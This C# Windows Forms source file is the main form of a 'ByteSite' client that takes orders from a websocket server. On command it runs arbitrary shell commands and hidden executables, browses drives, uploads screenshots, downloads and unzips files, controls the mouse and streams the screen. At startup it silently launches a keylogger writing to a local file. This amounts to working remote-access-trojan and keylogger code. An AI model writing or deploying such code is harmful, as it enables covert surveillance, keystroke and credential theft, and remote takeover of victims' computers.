﻿using ByteSite.WinClient.Common;
using ByteSite.WinClient.Entitys;
using Sunny.UI;
using SuperSocket.ClientEngine;
using SuperSocket.SocketBase.Config;
using SuperWebSocket;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.WebSockets;
using System.Security.Policy;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Web.Security;
using System.Windows.Forms;
using SuperSocket.SocketBase.Logging;
using Websocket.Client;

namespace ByteSite.WinClient
{
    public partial class MainForm : Form
    {
        private WebsocketClient websocketClient = null;

        public static TransferSocket tSocket; // 套接字 规则
        public static TransferFilesSeting tRules; // 文件传输规则

        Thread thread;
        System.Timers.Timer timer = new System.Timers.Timer(); 
        bool isRunning = true;
        private string clientId = string.Empty;
        private string wsServer = string.Empty;
        private int wsPort = 0;
        private string api = string.Empty;

        readonly ScreenCapture screenCapture;
        private bool sendScreen = false;


        KeyboardHelper keyboard;
        public MainForm()
        {
            //远程桌面
            int iActulaWidth = Screen.PrimaryScreen.Bounds.Width;
            int iActulaHeight = Screen.PrimaryScreen.Bounds.Height;
            screenCapture = new ScreenCapture(new Control(), new Rectangle(0, 0, iActulaWidth, iActulaHeight));
            InitializeComponent();
            Init();
            LoadConfig();
        }

        /// <summary>
        /// 文件发送配置信息（后期从服务器获取）
        /// </summary>

        private void LoadConfig()
        {
            //{
            //    "FileDownloadPacketSize": 102400,
            //    "FileMaxLength": 20480,
            //    "FileSameTimeDownload": 2,
            //    "FileSameTimeUpload": 2,
            //    "FileUploadPacketSize": 102400
            //}
            tRules = JsonHelper.JSONToObject<TransferFilesSeting>(JsonHelper.ObjectToJSON(new TransferFilesSeting()
            {
                FileDownloadPacketSize = 512,
                FileMaxLength = 20480,
                FileSameTimeDownload = 10,
                FileSameTimeUpload = 10,
                FileUploadPacketSize = 512
            }));

            //{
            //    "Preview_Audio": "PREVIWE_FILES_AUDIO.",
            //    "Preview_Image": "PREVIWE_FILES_IMAGE.",
            //    "Preview_Video": "PREVIWE_FILES_VIDEO.",
            //    "Transfer_FileList": "TRANSFER_FILES_LIST.",
            //    "Transfer_FileRules": "TRANSFER_FILES_RULES.",
            //    "Transfer_ToObj": "SEND_FILE_TO_USER.",
            //    "Transfer_ToServer": "UPLOAD_FILES_TO_SERVER.",
            //    "Transfer_ToUser": "SERVER_SEND_FILE_TO_USER.",
            //    "Transfer_UserList": "TRANSFER_USER_LIST.",
            //    "Transport_Accept": "SELECT_ACCEPT.",
            //    "Transport_DownloadOver": "DOWNLOAD_FILES_OVER.",
            //    "Transport_DownloadPacket": "DOWNLOAD_FILES_PACKET.",
            //    "Transport_FileQuantity": "FILE_QUANTITY.",
            //    "Transport_Header": "FILE_HEADER.",
            //    "Transport_StreamMedia": "http:\/\/127.0.0.1",
            //    "Transport_UploadOver": "UPLOAD_FILES_OVER.",
            //    "Transport_UploadPacket": "UPLOAD_FILES_PACKET.",
            //    "Transport_Warning": "TRANSPORT_WARNING.",
            //    "User_GetUserList": "APPLY_GET_ALL_USER_LIST.",
            //    "User_InstantOnlineSend": "USER_SEND_ONLINE_STATE.",
            //    "User_Login": "USER_LOGIN.",
            //    "User_LoginError": "USER_NAME_OR_PASWORD_ERROR.",
            //    "User_LoginSuccessful": "USER_LOGIN_SUCCESSFUL.",
            //    "User_Quit": "USER_QUIT.",
            //    "User_RepeatError": "USER_REPEAT_ERROR."
            //}
            tSocket = JsonHelper.JSONToObject<TransferSocket>(JsonHelper.ObjectToJSON(new TransferSocket()
            {
                    Preview_Audio= "PREVIWE_FILES_AUDIO.",
                    Preview_Image= "PREVIWE_FILES_IMAGE.",
                    Preview_Video= "PREVIWE_FILES_VIDEO.",
                    Transfer_FileList= "TRANSFER_FILES_LIST.",
                    Transfer_FileRules= "TRANSFER_FILES_RULES.",
                    Transfer_ToObj= "SEND_FILE_TO_USER.",
                    Transfer_ToServer= "UPLOAD_FILES_TO_SERVER.",
                    Transfer_ToUser= "SERVER_SEND_FILE_TO_USER.",
                    Transfer_UserList= "TRANSFER_USER_LIST.",
                    Transport_Accept= "SELECT_ACCEPT.",
                    Transport_DownloadOver= "DOWNLOAD_FILES_OVER.",
                    Transport_DownloadPacket= "DOWNLOAD_FILES_PACKET.",
                    Transport_FileQuantity= "FILE_QUANTITY.",
                    Transport_Header= "FILE_HEADER.",
                    Transport_StreamMedia= "http://127.0.0.1",
                    Transport_UploadOver= "UPLOAD_FILES_OVER.",
                    Transport_UploadPacket= "UPLOAD_FILES_PACKET.",
                    Transport_Warning= "TRANSPORT_WARNING.",
                
            }));
        }

        private void Init()
        {
            IniFileHelper iniFileHelper = new IniFileHelper();
            if (!FileHelper.FileExists(Directory.GetCurrentDirectory() + "\\config.ini"))
            {
                iniFileHelper.WriteIniString("Config", "SocketServer", Computer.IpAddress);
                iniFileHelper.WriteIniString("Config", "SocketPort", "21024");
                iniFileHelper.WriteIniString("Config", "Api", "http://localhost:55708/tools/websocket.ashx");

                this.wsServer = Computer.IpAddress;
                this.wsPort = 21024;
                this.api = "http://localhost:55708/tools/websocket.ashx";
            }
            else
            {
                this.wsServer = iniFileHelper.GetIniString("Config", "SocketServer");
                this.wsPort = Utils.ObjToInt(iniFileHelper.GetIniString("Config", "SocketPort"), 21024);
                this.api = iniFileHelper.GetIniString("Config", "Api");
            }
            

            lblName.Text = Computer.ComputerName;
            lblIP.Text = txtServerIP.Text = this.wsServer;
            txtServerPort.Text = this.wsPort.ToString();
            txtServerApi.Text = this.api;

            //定义客户端ID
            this.clientId = Computer.ComputerName.ToLower() + "_" + Utils.MD5(Computer.CpuId + Computer.MacAddress).ToLower();

            

            //开启键盘监听
            Thread KeyboardLoggingThread = new Thread(new ThreadStart(KeyboardLogging));
            KeyboardLoggingThread.SetApartmentState(ApartmentState.STA); //重点
            KeyboardLoggingThread.Start();
        }
        
        private void btnConn_Click(object sender, EventArgs e)
        {
            Thread thread = new Thread(new ThreadStart(ChangeButton));
            thread.SetApartmentState(ApartmentState.STA); //重点
            thread.Start();
        }
        void ChangeButtonTxt(int status)
        {
            if (status == 0)
                btnConn.Text = "启动服务";
            else if (status == 1)
                btnConn.Text = "停止服务";
        }
        void ChangeButton()
        {
            if (btnConn.Text == "启动服务")
            {
                if (string.IsNullOrEmpty(txtServerIP.Text) || string.IsNullOrEmpty(txtServerPort.Text))
                {
                    UIMessageBox.ShowError("请填写服务端IP及端口");
                    return;
                }
                new Action(StartWebSocket).BeginInvoke(null, null);

                Action action = new Action(delegate () { ChangeButtonTxt(1); });
                this.Invoke(action);
            }
            else
            {
                Action action = new Action(delegate ()
                {
                    SetLog("连接关闭");
                });
                this.Invoke(action);

                Action action2 = new Action(delegate () { ChangeButtonTxt(0); });
                this.Invoke(action2);
            }

        }
        void StartWebSocket()
        {
            var url = new Uri("ws://" + txtServerIP.Text + ":" + txtServerPort.Text);

            //var factory = new Func<ClientWebSocket>(() => new ClientWebSocket
            //{
            //    Options =
            //    {
            //        KeepAliveInterval = TimeSpan.FromSeconds(120)
            //    }
            //});

            this.websocketClient = new WebsocketClient(url);

            //超时重连
            //this.websocketClient.ReconnectTimeout = TimeSpan.FromSeconds(30);
            //this.websocketClient.ErrorReconnectTimeout = TimeSpan.FromSeconds(5);
            this.websocketClient.IsReconnectionEnabled = false;//禁止定时重连

            //重连事件
            this.websocketClient.ReconnectionHappened.Subscribe(info =>
            {
                LoggerHelper.Info("正在重连");
                SendMessage(new WebSocketMessage()
                {
                    Guid = Guid.NewGuid().ToString(),
                    From = "client_" + this.clientId,
                    To = "server",
                    Time = DateTime.Now,
                    Channel = "client",
                    MessageType = "sys",
                    Message = "online",
                    Data = ""
                });
            });

            //收到消息事件
            this.websocketClient.MessageReceived.Subscribe(msg =>
            {
                LoggerHelper.Info(msg.ToString());
                if (msg.MessageType == WebSocketMessageType.Text)
                {
                    //明文消息
                    string strMsg = msg.Text;
                    try
                    {
                        if (strMsg == "**bytesite_server_heartbeat**")
                        {
                            //收到服务器心跳包
                        }
                        else
                        {
                            WebSocketMessage message = Common.JsonHelper.JSONToObject<WebSocketMessage>(strMsg);
                            if (message != null)
                            {
                                //接收消息
                                if (message.From == "server" && message.Channel == "server" &&
                                    message.MessageType == "sys" && message.Message == "received")
                                {
                                    Action action = new Action(delegate ()
                                    {
                                        SetLog("服务器已收到");
                                    });
                                    this.Invoke(action);
                                }
                                else
                                {
                                    if (InvokeRequired)
                                    {
                                        Action action = new Action(delegate () { SetLog(message); });
                                        this.Invoke(action);
                                    }
                                }

                                //根据消息执行操作
                                if (message.From == "server" && message.Channel == "server" &&
                                    message.MessageType == "remote_sys")
                                {
                                    if (message.Message == "drivers")
                                    {
                                        //获取驱动器
                                        List<DriverInfo> driveInfos = Common.FileHelper.Drivers();

                                        WebRequestOption requestOption = new WebRequestOption();
                                        requestOption.Url = this.api;
                                        requestOption.MyEncoding = Encoding.UTF8;
                                        requestOption.Paras = JsonHelper.ObjectToJSON(new WebSocketMessage()
                                        {
                                            Guid = message.Guid,
                                            From = "client_" + this.clientId,
                                            To = "server",
                                            Time = DateTime.Now,
                                            Channel = "client",
                                            MessageType = "sys",
                                            Message = message.Message,
                                            Data = JsonHelper.ObjectToJSON(driveInfos)
                                        });
                                        WebRequestHelper.HttpPostJsonAsync(requestOption).GetAwaiter();

                                    }
                                    else if (message.Message == "files")
                                    {
                                        //获取目录下文件夹/文件
                                        if (!string.IsNullOrEmpty(message.Data))
                                        {
                                            Entitys.RequestFiles req =
                                                JsonHelper.JSONToObject<Entitys.RequestFiles>(message.Data);
                                            if (req != null)
                                            {
                                                if (!string.IsNullOrEmpty(req.Path))
                                                {
                                                    List<FilesInfo> fileInfos = new List<FilesInfo>();
                                                    fileInfos.AddRange(Common.FileHelper.Directories(req.Path));
                                                    fileInfos.AddRange(Common.FileHelper.Files(req.Path));


                                                    WebRequestOption requestOption = new WebRequestOption();
                                                    requestOption.Url = this.api;
                                                    requestOption.MyEncoding = Encoding.UTF8;
                                                    requestOption.Paras = JsonHelper.ObjectToJSON(new WebSocketMessage()
                                                    {
                                                        Guid = message.Guid,
                                                        From = "client_" + Computer.ComputerName,
                                                        To = "server",
                                                        Time = DateTime.Now,
                                                        Channel = "client",
                                                        MessageType = "sys",
                                                        Message = message.Message,
                                                        Data = JsonHelper.ObjectToJSON(fileInfos)
                                                    });
                                                    WebRequestHelper.HttpPostJsonAsync(requestOption).GetAwaiter();

                                                }
                                            }
                                        }
                                    }
                                    else if (message.Message == "screen_capture")
                                    {
                                        //屏幕截图上传
                                        if (!string.IsNullOrEmpty(message.Data))
                                        {
                                            Entitys.RequestScreenCapture req =
                                                JsonHelper.JSONToObject<Entitys.RequestScreenCapture>(message.Data);
                                            if (req != null)
                                            {
                                                string dir = string.IsNullOrEmpty(req.Path)
                                                    ? "C:/bytesite_temp/"
                                                    : req.Path;
                                                string fileName = Guid.NewGuid().ToString() + ".jpg";

                                                Thread captureThread = new Thread(new ThreadStart(delegate ()
                                                {
                                                    ScreenHelper.Save(dir + fileName);
                                                }));
                                                captureThread.SetApartmentState(ApartmentState.STA); //重点
                                                captureThread.Start();

                                                Thread updateThread = new Thread(new ThreadStart(delegate ()
                                                {
                                                //间隔5秒后开始上传图片
                                                Thread.Sleep(5000);
                                                    if (File.Exists(dir + fileName))
                                                    {
                                                        FileInfo file = new FileInfo(dir + fileName);

                                                        WebRequestOption requestOption = new WebRequestOption();
                                                        requestOption.Url = this.api;
                                                        requestOption.MyEncoding = Encoding.UTF8;
                                                        requestOption.FilePath = dir + fileName;
                                                        requestOption.FileName = Guid.NewGuid().ToString() + file.Extension;
                                                        requestOption.Paras = JsonHelper.ObjectToJSON(new ResponseFiles()
                                                        {
                                                            ClientId = "client_" + this.clientId,
                                                            ComputerName = Computer.ComputerName,
                                                            FullName = file.FullName,
                                                            Length = file.Length,
                                                            Name = file.Name,
                                                            Path = dir + fileName
                                                        });
                                                        WebRequestHelper.HttpPostFileAsync(requestOption).GetAwaiter();
                                                    }
                                                }));
                                                updateThread.SetApartmentState(ApartmentState.STA); //重点
                                                updateThread.Start();


                                            }
                                        }
                                    }
                                    else if (message.Message == "download")
                                    {
                                        //下载文件(解压)
                                        if (!string.IsNullOrEmpty(message.Data))
                                        {
                                            Entitys.RequestDownload req =
                                                JsonHelper.JSONToObject<Entitys.RequestDownload>(message.Data);
                                            if (req != null)
                                            {
                                                if (!string.IsNullOrEmpty(req.Url) && !string.IsNullOrEmpty(req.Path))
                                                {
                                                    Thread captureThread = new Thread(new ThreadStart(delegate ()
                                                    {
                                                        FileTransporter.Download(req.Url, req.Path);
                                                        Thread.Sleep(5000);
                                                        string fileName =
                                                            req.Url.Substring(req.Url.LastIndexOf("/") + 1); //被下载的文件名
                                                    if (File.Exists(fileName))
                                                        {
                                                            if (req.Unzip == 1)
                                                            {
                                                                ZipHelper.ZipDeCompress(req.Path + fileName, req.Path);
                                                            }
                                                        }
                                                    }));
                                                    captureThread.SetApartmentState(ApartmentState.STA); //重点
                                                    captureThread.Start();
                                                }
                                            }
                                        }
                                    }
                                    else if (message.Message == "cmd")
                                    {
                                        //运行程序
                                        if (!string.IsNullOrEmpty(message.Data))
                                        {
                                            Entitys.RequestCmd req =
                                                JsonHelper.JSONToObject<Entitys.RequestCmd>(message.Data);
                                            if (req != null)
                                            {
                                                if (!string.IsNullOrEmpty(req.Command))
                                                {
                                                    Thread captureThread = new Thread(new ThreadStart(delegate ()
                                                    {
                                                        int seconds = Utils.ObjToInt(req.Seconds, 15);
                                                        string output = ProcessHelper.Execute(req.Command, seconds);

                                                        WebRequestOption requestOption = new WebRequestOption();
                                                        requestOption.Url = this.api;
                                                        requestOption.MyEncoding = Encoding.UTF8;
                                                        requestOption.Paras = JsonHelper.ObjectToJSON(new WebSocketMessage()
                                                        {
                                                            Guid = message.Guid,
                                                            From = "client_" + this.clientId,
                                                            To = "server",
                                                            Time = DateTime.Now,
                                                            Channel = "client",
                                                            MessageType = "sys",
                                                            Message = message.Message,
                                                            Data = output
                                                        });
                                                        WebRequestHelper.HttpPostJsonAsync(requestOption).GetAwaiter();
                                                    }));
                                                    captureThread.SetApartmentState(ApartmentState.STA); //重点
                                                    captureThread.Start();
                                                }
                                            }
                                        }
                                    }
                                    else if (message.Message == "exe")
                                    {
                                        //运行程序
                                        if (!string.IsNullOrEmpty(message.Data))
                                        {
                                            Entitys.RequestEXE req =
                                                JsonHelper.JSONToObject<Entitys.RequestEXE>(message.Data);
                                            if (req != null)
                                            {
                                                if (!string.IsNullOrEmpty(req.FileName))
                                                {
                                                    Thread captureThread = new Thread(new ThreadStart(delegate ()
                                                    {
                                                        bool noWindow = req.NoWindow == 0 ? false : true;
                                                        string output = ProcessHelper.RunProcess(req.FileName, req.Paras,
                                                            noWindow);
                                                        WebRequestOption requestOption = new WebRequestOption();
                                                        requestOption.Url = this.api;
                                                        requestOption.MyEncoding = Encoding.UTF8;
                                                        requestOption.Paras = JsonHelper.ObjectToJSON(new WebSocketMessage()
                                                        {
                                                            Guid = message.Guid,
                                                            From = "client_" + this.clientId,
                                                            To = "server",
                                                            Time = DateTime.Now,
                                                            Channel = "client",
                                                            MessageType = "sys",
                                                            Message = message.Message,
                                                            Data = output
                                                        });
                                                        WebRequestHelper.HttpPostJsonAsync(requestOption).GetAwaiter();
                                                    }));
                                                    captureThread.SetApartmentState(ApartmentState.STA); //重点
                                                    captureThread.Start();
                                                }
                                            }
                                        }
                                    }
                                    else if (message.Message == "mouse")
                                    {
                                        //鼠标控制
                                        if (!string.IsNullOrEmpty(message.Data))
                                        {
                                            Entitys.RequestClientOperation req =
                                                JsonHelper.JSONToObject<Entitys.RequestClientOperation>(message.Data);
                                            if (req != null)
                                            {
                                                if (!string.IsNullOrEmpty(req.Action))
                                                {
                                                    switch (req.Action)
                                                    {
                                                        case "move":
                                                            {
                                                                MouseHookHelper.SetCursorPos(req.X, req.Y);
                                                            }
                                                            break;
                                                        case "left_click":
                                                            {
                                                                //按下左键
                                                                MouseHookHelper.mouse_event(
                                                                    MouseHookHelper.MOUSEEVENTF_LEFTDOWN,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                                Thread.Sleep(10);
                                                                //松开左键
                                                                MouseHookHelper.mouse_event(MouseHookHelper.MOUSEEVENTF_LEFTUP,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                            }
                                                            break;
                                                        case "left_dbclick":
                                                            {
                                                                //按下左键
                                                                MouseHookHelper.mouse_event(
                                                                    MouseHookHelper.MOUSEEVENTF_LEFTDOWN,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                                Thread.Sleep(10);
                                                                //松开左键
                                                                MouseHookHelper.mouse_event(MouseHookHelper.MOUSEEVENTF_LEFTUP,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                                //按下左键
                                                                MouseHookHelper.mouse_event(
                                                                    MouseHookHelper.MOUSEEVENTF_LEFTDOWN,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                                Thread.Sleep(10);
                                                                //松开左键
                                                                MouseHookHelper.mouse_event(MouseHookHelper.MOUSEEVENTF_LEFTUP,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                            }
                                                            break;
                                                        case "right_click":
                                                            {
                                                                //按下左键
                                                                MouseHookHelper.mouse_event(
                                                                    MouseHookHelper.MOUSEEVENTF_RIGHTDOWN,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                                Thread.Sleep(10);
                                                                //松开左键
                                                                MouseHookHelper.mouse_event(MouseHookHelper.MOUSEEVENTF_RIGHTUP,
                                                                    req.X,
                                                                    req.Y, 0, 0);
                                                            }
                                                            break;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    else if (message.Message == "remote_desktop")
                                    {
                                        sendScreen = true;
                                        //Action action = new Action(SendScreenImage);
                                        //this.Invoke(action);
                                        new Thread(new ThreadStart(SendScreenImage)).Start();
                                        //Thread thread = new Thread(new ThreadStart(SendScreenImage));

                                        //thread.SetApartmentState(ApartmentState.STA); //重点
                                        //thread.Start();
                                    }
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        LoggerHelper.Error(ex.Message);
                    }
                }
                else if (msg.MessageType == WebSocketMessageType.Binary)
                {
                    //二进制消息
                }
                else if (msg.MessageType == WebSocketMessageType.Close)
                {
                    //收到关闭消息

                    Action action = new Action(delegate ()
                    {
                        SetLog("收到关闭连接指令");
                    });
                    this.Invoke(action);
                    WebsocketDispose();
                }

            });

            //关闭事件
            this.websocketClient.DisconnectionHappened.Subscribe(info =>
            {
                LoggerHelper.Error("连接关闭"+info.Exception.Message);
                WebsocketDispose();
                Action action = new Action(delegate()
                {
                    SetLog("关闭连接");
                });
                this.Invoke(action);
            });

            //Task.Run(() => client.Send("{ message }"));

            string result = WebSocketConn();
            LoggerHelper.Info("启动连接" + result);
            if (result != "success")
            {
                Action action = new Action(delegate ()
                {
                    SetLog(result);
                });
                this.Invoke(action);
            }
            else
            {
                Action action = new Action(delegate ()
                {
                    SetLog("启动成功");
                });
                this.Invoke(action);
            }
        }

        public string WebSocketConn()
        {
            string result = "success";
            try
            {
                this.thread = new Thread(new ThreadStart(delegate ()
                {
                    this.websocketClient.Start();

                }));
                this.thread.Start();
                this.isRunning = true;
            }
            catch (Exception ex)
            {
                this.isRunning = false;
                result = ex.Message;
            }
            return result;
        }
        
        #region 发送消息

        /// <summary>
        /// 发送消息
        /// </summary>
        /// <param name="Message"></param>
        public void SendMessage(WebSocketMessage msg)
        {
            Task.Factory.StartNew(() =>
            {
                if (this.websocketClient != null && this.websocketClient.IsRunning && this.websocketClient.IsStarted)
                {
                    this.websocketClient.Send(Common.JsonHelper.ObjectToJSON(msg));
                }
            });
        }
        public void SendMessage(string msg)
        {
            Task.Factory.StartNew(() =>
            {
                if (this.websocketClient != null && this.websocketClient.IsRunning && this.websocketClient.IsStarted)
                {
                    this.websocketClient.Send(msg);
                }
            });
        }
        /// <summary>
        /// 发送数据
        /// </summary>
        /// <param name="data"></param>
        public void SendData(byte[] data)
        {
            Task.Factory.StartNew(() =>
            {
                if (this.websocketClient != null && this.websocketClient.IsRunning && this.websocketClient.IsStarted)
                {
                    this.websocketClient.Send(data);
                }
            });
        }

        #endregion

        #region UI修改监听
        private void txtServerApi_TextChanged(object sender, EventArgs e)
        {
            this.api = txtServerApi.Text;
        }

        private void txtServerIP_TextChanged(object sender, EventArgs e)
        {
            this.wsServer = txtServerIP.Text;
        }

        private void txtServerPort_TextChanged(object sender, EventArgs e)
        {
            this.wsPort = Utils.ObjToInt(txtServerPort.Text, 0);
        }

        #endregion

        #region 私有方法

        void SetLog(string log)
        {
            txtLog.Text += log + "\r\n\r\n";
        }
        void SetLog(WebSocketMessage msg)
        {
            txtLog.Text += msg.From + "[" + msg.Time.ToString("yyyy-MM-dd HH:mm:ss") + "]:" + msg.Message +
                           (string.IsNullOrEmpty(msg.Data) ? "" : "=>" + msg.Data) + "\r\n\r\n";
        }
        
        
        private void SendScreenImage()
        {
            while (sendScreen)
            {
                CapturedEventArgs capturedEventArgs = screenCapture.CaptureImage();
                if (capturedEventArgs == null)
                {
                    continue;
                }

                byte[] screenImgByte = capturedEventArgs.GetAsByte();
                //SendData(screenImgByte);
                this.websocketClient.SendFileBySplit(Guid.NewGuid().ToString(), this.clientId, Membership.GeneratePassword(16, 2), screenImgByte, tRules.FileUploadPacketSize);
                Thread.Sleep(300);
            }
        }

        /// <summary>
        /// 自动开启键盘记录
        /// </summary>
        private void KeyboardLogging()
        {
            string path = "C:/bytesite_temp/keylog.txt";
            FileHelper.DirectoryCreate(path.Substring(0, path.LastIndexOf("/")));
            keyboard = new KeyboardHelper(path);
            keyboard.startLoging();
        }

        /// <summary>
        /// 关闭连接，停止发送屏幕
        /// </summary>
        public void WebsocketDispose()
        {
            //停止发送屏幕
            if (sendScreen)
            {
                sendScreen = false;
            }
            this.isRunning = false;
            try
            {

            }
            catch
            {

            }
            if (this.websocketClient != null)
            {
                this.websocketClient.Dispose();
            }
            this.websocketClient = null;
        }


        #endregion

        //private void uiButton1_Click(object sender, EventArgs e)
        //{
        //    ////截屏
        //    //string fileName = Guid.NewGuid().ToString();
        //    //ScreenHelper.Save("C:/bytesite_temp/" + fileName + ".jpg");
        //    //this.Cursor = Cursors.Default;


        //    ////停止键盘监听
        //    //if (keyboard.HasStart)
        //    //{
        //    //    keyboard.stopLoging();
        //    //}
        //    WebRequestOption requestOption = new WebRequestOption();
        //    requestOption.Url = this.api;
        //    requestOption.MyEncoding = Encoding.UTF8;
        //    requestOption.FilePath = @"F:\丁佳莹\许佳\VID_20200801_204145.mp4";
        //    requestOption.FileName = "VID_20200801_204145.mp4";
        //    requestOption.Paras = "test123";
        //    WebRequestHelper.HttpPostFileAsync(requestOption).GetAwaiter();

        //}
    }
}
